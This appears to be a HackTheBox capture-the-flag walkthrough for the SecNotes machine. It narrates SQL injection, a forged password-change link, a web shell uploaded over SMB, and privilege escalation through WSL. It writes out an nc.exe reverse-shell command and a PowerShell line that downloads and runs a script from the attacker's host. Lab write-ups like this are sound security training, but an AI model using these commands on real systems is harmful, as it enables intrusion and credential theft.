SecNotes - HackTheBox Writeup
The link for this machine is located here: https://app.hackthebox.com/machines/151
This room covers web app pentesting including XSS on a contact form to gain an initial shell. From there, there is a unique priv esc vector through WSL (Windows Subsystem for Linux).
Full Walkthrough
First thing we can do is scan the machine with the following parameters:
-Pn to disable pinging the machine (Windows doesn’t respond)
-p- for all ports
10.10.10.97 for the target
-oN allports.scan to output to a file
This returns with 3 ports that are open - HTTP, 445 (SMB) and 8808. To get more information, we can run a more detailed scan on these 3 ports individually.
With this information, we can see that port 80 is hosting Microsoft IIS and so is port 8808. As a starting point, we can check out the port 8808 web server first since it’s unusual.
This simply reveals a standard IIS default page - nothing interesting. We can try running a directory busting tool like Feroxbuster on it to identify any hidden directories.
Unfortunately, it seems like nothing is here so it is likely a rabbit hole which we can leave for now. Instead, we can try looking at the port 80 web page.
Immediately, we are presented with a login page. We could try to bruteforce the page and potentially login, but before doing that we can try common credentials such as admin:admin.
This tells us that no user with the username of admin exists on this website - interesting. This might be able to tell us what users exist and don’t exist on the website if we tried various usernames.
However, for now, we can try signing up ourselves.
Once we sign up, we are taken to our home page where we have a few different options.
We can create a new note, change our passwords, sign out, or contact someone. Additionally, we see at the top that we can contact someone called “tyler” which could be a potential username on the site.
Let’s check it out using the login panel.
This time the error is different. Instead of telling us no user exists, it tells us that the password is not valid meaning we just enumerate a user with the name of “tyler”.
Next, we can check out the first link to create a new note. This gives us some input boxes which should get your gears spinning and thinking of potential injection attacks.
As a test, I simply inputted some HTML to see if various tags would be interpreted as HTML or they would be filtered.
Once submitted, we can see the new note on the home page which has everything we inputted - bold words, italic words and even a link.
However, while this does mean we could do attacks like XSS, it doesn’t really mean anything as the only person that should have access to these notes is ourselves. It seems kind of pointless for now, but definitely an issue to keep in mind.
Going to the Contact Us page, we can see it simply sends a message to Tyler.
Finally, the change password page simply allows us to enter a new password but doesn’t ask for our old password which is interesting.
Once we change our password, it takes us back to the home page.
With this password page, I decided to intercept the request in Burp Suite and saw that it was using a POST request with the passwords just attached at the bottom.
Maybe we could do something with it?
However, another idea I had before going further with the password stuff, was to check the login page. If the new note input boxes were not sanitizing input, what about other input boxes?
Immediately, I went back to the Login page and tried various SQL Injection payloads to see if I could login or bypass the login.
The above payload resulted in the following error showing us that no user existed with that username.
What happens if a user does exist with that username? I decided to test it by creating a user with the SQL injection payload as the username and password.
And it successfully creates that user and takes us to the home page. However, instead of seeing no notes, we see a variety of different notes, which looks like various people’s notes that should be private - it seems the injection worked!
Looking at these various notes, one stands out and screams “LOOK AT ME” which is the new site note. Looking into it, it seems to be SMB credentials judging by the “\\secnotes.htb\new-site” string and the tyler username.
Another way to do this is via the change password function. If we change the HTTP request from POST to GET, it actually works and provides us with a 200 OK status code.
This has the potential to lead to an XSRF attack if we can get someone to click on links - what about Tyler?
Will Tyler click on links that we send him through the Contact Us page? We can test it by sending him a link to our machine.
Then, we start a Netcat listener on our local machine using Netcat.
After sending the link, after a few seconds, we get a request on our Netcat listener for the /testlink page meaning that Tyler clicks link - we can use this to make him change his password.
From here, we can craft the following link which uses the GET request for the change_pass.php which works and will change his password to whatever we set it to - in this case, pass123. Additionally, we provide the same testlink to make sure that they get clicked.
After a few seconds, we get the same response through Netcat which indicates that the first link and second link we submitted were clicked successfully.
Knowing this, we can now try and login as tyler with the newly changed password - pass123 - which works and we could read Tyler’s note this way instead.
Using these credentials, we can try logging in to the new-site share as posted by Tyler using the smbclient command.
And we get access to the share. Let’s list out the contents of the share to see what is there.
It seems as if it is some images and HTM file relating to IIS - this is likely in relation to the other webpage we saw on port 8808.
With this, we can perform a test by first creating a simple TXT file, accessing the new-site share and uploading the testing.txt file to the share. Once uploaded, we can use curl to see if we can request that webpage.
As we can see, it successfully returns the contents of the text file we made, meaning we have the ability to execute malicious files through the web server on port 8808.
Additionally, we can test it works in the browser by simply navigating to it.
It also works. From here, we can use the famous PHP reverse shell from Pentestmonkey and simply change the IP address and port to whatever you want.
Once edited, we can once again login to the SMB server and upload our PHP reverse shell file.
Before executing, we start a listener on port 9999.
Finally, we execute it by navigating to it.
However, this returns an error saying that uname is now available. This is likely because the PHP shell is trying to execute Linux commands when this is a Windows system.
Instead, we can use a simple PHP web shell which is the following:
Once we create that file, we can once again upload it to the SMB share.
Then, we can navigate to it and see a command box where we can enter the commands.
From here, we can make sure it works by execute the whoami command to see we are running as Tyler.
Next, we can identify the nc.exe windows executable and upload it to the SMB share.
Once uploaded, we start a netcat listener on port 443 to catch the reverse shell.
Finally, to execute the reverse shell, we can simply type the following into the command box to establish a connection back to us:
nc.exe -e cmd.exe 10.10.14.7 443
After executing, we can take a look at the Netcat listener.
We get a Windows shell running as Tyler.
Privilege Escalation
From here, we can try to look for privilege escalation vectors. On the Desktop for Tyler, we can grab the user flag, but we also see an interesting shortcut file for BASH.
This is interesting as we are clearly in a Windows directory structure but we have a link to a BASH shell. We can use the “type” command to try and see if there are any cleartext strings inside this link file.
And there is. It looks like this is a shortcut for the following program:
C:\Windows\System32\bash.exe
Which is still a little weird. To get more information, we can try running the PowerUp.ps1 PowerShell script by first copying it to our directory and then hosting it using a Python web server.
From here, we can navigate back to our shell, open a Powershell session by typing “powershell.exe” and then executing the following to download the PowerUp.ps1 script:
IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.14.7/PoweUp.ps1’)
Finally, we can run Invoke-AllChecks to check for any privilege escalation vectors but unfortunately it doesn’t run due to access denied.
From here, we can go back to enumerating this bash.exe executable on Windows. Knowing the name of the executable, we can perform a recursive search for bash.exe using powershell inside the C:\Windows directory:
Get-ChildItem -Path C:\Windows -Filter bash.exe -Recurse -ErrorAction SilentlyContinue -Force
This returns a really strange looking directory. However, it does find the bash executable. Knowing the location of it, we can try executing bash to get a reverse shell.
First, we start a Netcat listener on port 8888.
Then, we execute the following BASH one-liner that spawns a reverse shell for us and connects back to our machine.
After executing, we get a shell back claiming to be from the “root” user. However, remembering that this is a Windows system, this doesn’t mean we are the Administrator so further enumeration is required.
Simply going through and checking various things throughout the directory structure, we find the .bash_history file with some content inside indicated by the file size.
Listing out the contents of this file reveals the commands ran with an interesting one being ran. It seems as though smbclient was ran with the Administrator username and the password provided in cleartext.
Knowing these potential credentials and that SMB is open on the public IP, we can try using PSExec to connect as the administrator user.
This works, and we get a shell running as the SYSTEM user returned to us.
